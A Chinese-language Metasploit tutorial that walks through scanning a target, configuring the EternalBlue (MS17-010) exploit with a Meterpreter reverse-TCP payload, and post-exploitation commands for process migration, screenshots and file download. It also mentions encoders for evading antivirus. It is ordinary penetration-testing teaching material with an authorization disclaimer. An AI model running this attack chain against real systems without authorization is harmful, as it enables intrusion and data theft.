Metasploit Framework 是全球最受欢迎的渗透测试框架之一,被安全专业人士和道德黑客广泛用于发现、验证和利用漏洞。本教程将带你从基础开始,逐步了解Metasploit的核心概念和实际操作。
声明:本教程仅用于教育和授权测试目的。任何未经授权的系统攻击都是非法的。请在法律允许的范围内使用所学知识。
目录
- 什么是Metasploit?
- 安装Metasploit
- Metasploit核心概念
- Msfconsole:主要的命令行界面
- 模块(Modules):漏洞利用、辅助、载荷等
- 漏洞利用模块(Exploits)
- 攻击载荷(Payloads)
- 辅助模块(Auxiliary)
- 编码器(Encoders)
- 空指令(Nops)
- 后渗透模块(Post)
- Metasploit基本工作流程
- 启动Metasploit
- 信息收集
- 查找漏洞利用模块
- 配置并执行漏洞利用
- 后渗透操作
- 常用命令实例
- 进阶学习与资源
1. 什么是Metasploit?
Metasploit项目最初由H. D. Moore于2003年创建,旨在提供一个公开的、可用的漏洞利用开发平台。如今,它已发展成为一个强大的框架,包含了大量的漏洞利用代码、攻击载荷和辅助工具。
主要特点:
- 开源: 核心框架是开源的,社区贡献活跃。
- 模块化: 易于扩展和定制。
- 广泛的漏洞库: 包含针对各种操作系统、应用程序和平台的已知漏洞。
- 自动化: 可以自动化许多渗透测试任务。
Metasploit官网:www.metasploit.com/
2. 安装Metasploit
Metasploit可以安装在多种操作系统上,包括Linux、Windows和macOS。
- Kali Linux: 对于渗透测试人员来说,最简单的方式是使用Kali Linux,它预装了Metasploit Framework。如果你还没有Kali,可以从 Kali Linux官网下载。
- 其他系统: Rapid7的Metasploit下载页面:www.rapid7.com/products/me…
安装完成后,你可能需要初始化数据库(通常是PostgreSQL),以便存储工作区数据、主机信息、漏洞数据等。在终端中运行以下命令:
sudo msfdb init
3. Metasploit核心概念
理解Metasploit的模块化结构至关重要。
-
Msfconsole: 这是Metasploit最主要的交互界面。你可以在终端输入
msfconsole
来启动它。它提供了一个强大的命令行环境,用于访问框架的所有功能。 -
模块(Modules): Metasploit的功能是通过各种模块来实现的。模块是可重用的代码片段。
-
漏洞利用模块(Exploits): 这些模块利用目标系统上的安全漏洞。例如,一个缓冲区溢出漏洞或一个Web应用程序的SQL注入漏洞。
- 示例: 针对MS17-010 (EternalBlue) 漏洞的利用模块。
-
攻击载荷(Payloads): 在成功利用漏洞后,载荷是在目标系统上执行的代码。它可以是:
- Meterpreter: 一个高级的、多功能的载荷,提供交互式Shell、文件系统操作、进程迁移、屏幕截图等功能。
- Shell-based: 提供一个标准的命令行Shell(例如,Windows的cmd.exe或Linux的/bin/sh)。
- Staged vs. Stageless: Staged载荷分阶段发送,先发送一个小型的stager,然后下载完整载荷;Stageless载荷一次性发送所有代码。
-
辅助模块(Auxiliary): 这些模块用于执行扫描、嗅探、模糊测试、拒绝服务攻击、信息收集等任务,这些任务不直接导致系统被攻破。
- 示例: 端口扫描器、SMB版本探测器、FTP登录测试器。
-
编码器(Encoders): 用于对载荷进行编码,以绕过防病毒软件(AV)或入侵检测系统(IDS/IPS)的检测。虽然不能保证完全免杀,但可以增加成功率。
-
空指令(Nops): No Operation(无操作)指令。在某些漏洞利用场景中,用于填充缓冲区,确保载荷的稳定执行。
-
后渗透模块(Post): 在成功获取目标系统访问权限后使用,用于进一步收集信息、权限提升、持久化访问等。
- 示例: 获取系统密码哈希、记录键盘输入、查找敏感文件。
-
4. Metasploit基本工作流程
典型的渗透测试流程,使用Metasploit可以概括为以下步骤:
-
启动Metasploit: 打开终端,输入
msfconsole
。msf6 >
-
信息收集(Reconnaissance): 在攻击之前,你需要尽可能多地了解目标。可以使用辅助模块进行扫描。 例如,使用Nmap(可以通过Metasploit的
db_nmap
命令集成,或者单独使用)扫描目标开放的端口和服务。假设我们知道目标IP是
192.168.1.100
。我们可以使用Metasploit内置的端口扫描器:msf6 > use auxiliary/scanner/portscan/tcp msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.100 msf6 auxiliary(scanner/portscan/tcp) > set PORTS 1-1000 msf6 auxiliary(scanner/portscan/tcp) > run
RHOSTS
是远程主机(目标)的IP地址。 -
查找漏洞利用模块(Vulnerability Identification & Exploitation): 根据收集到的信息(例如,开放的端口、运行的服务及其版本),查找可能存在的漏洞和相应的Metasploit模块。 使用
search
命令:msf6 > search type:exploit platform:windows smb
这将搜索针对Windows平台SMB服务的漏洞利用模块。 假设我们找到了一个名为
exploit/windows/smb/ms17_010_eternalblue
的模块。 -
配置并执行漏洞利用:
- 选择模块:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
- 查看选项:
这将列出该模块需要配置的参数,例如msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
RHOSTS
(目标IP),LHOST
(本地监听IP,用于反向连接的载荷),LPORT
(本地监听端口)。 - 设置参数:
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
- 选择并配置载荷:
选择一个合适的载荷,例如Meterpreter反向TCP连接:msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
设置msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
LHOST
(你的IP地址,目标系统将连接回这个IP):msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50 # 假设这是你的Kali机器IP msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
- 执行攻击:
或者使用msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
run
命令。如果漏洞利用成功,你将获得一个Meterpreter会话。
- 选择模块:
-
后渗透操作(Post-Exploitation): 一旦获得Meterpreter会话,你就可以执行各种后渗透操作。
meterpreter > sysinfo # 获取系统信息 meterpreter > getuid # 获取当前用户 meterpreter > ps # 列出进程 meterpreter > migrate <PID> # 迁移到另一个进程以保持隐蔽 meterpreter > screenshot # 截屏 meterpreter > download /path/to/remote/file /local/path # 下载文件 meterpreter > upload /local/path /path/to/remote/destination # 上传文件 meterpreter > shell # 获取一个标准的命令行Shell meterpreter > help # 查看所有可用命令
你可以使用
background
命令将当前Meterpreter会话放到后台,然后使用sessions -l
查看活动会话,sessions -i <ID>
重新连接到会话。
5. 常用命令实例
help
:显示全局帮助或特定模块的帮助。search <keyword>
:搜索模块。search cve:2017 type:exploit platform:windows
use <module_name>
:选择一个模块。show options
:显示当前模块的配置选项。set <option_name> <value>
:设置选项值。setg <option_name> <value>
:全局设置选项值,对所有模块生效。show payloads
:显示与当前漏洞利用模块兼容的载荷。exploit
或run
:执行当前模块。back
:返回上一级菜单。sessions
:管理活动的会话。sessions -l
:列出活动会话。sessions -i <session_id>
:与指定会话交互。sessions -k <session_id>
:终止指定会话。
db_nmap <nmap_options> <target>
:运行Nmap并将结果存入数据库。workspace
:管理工作区,用于组织不同项目的扫描结果和会话。exit
或quit
:退出msfconsole。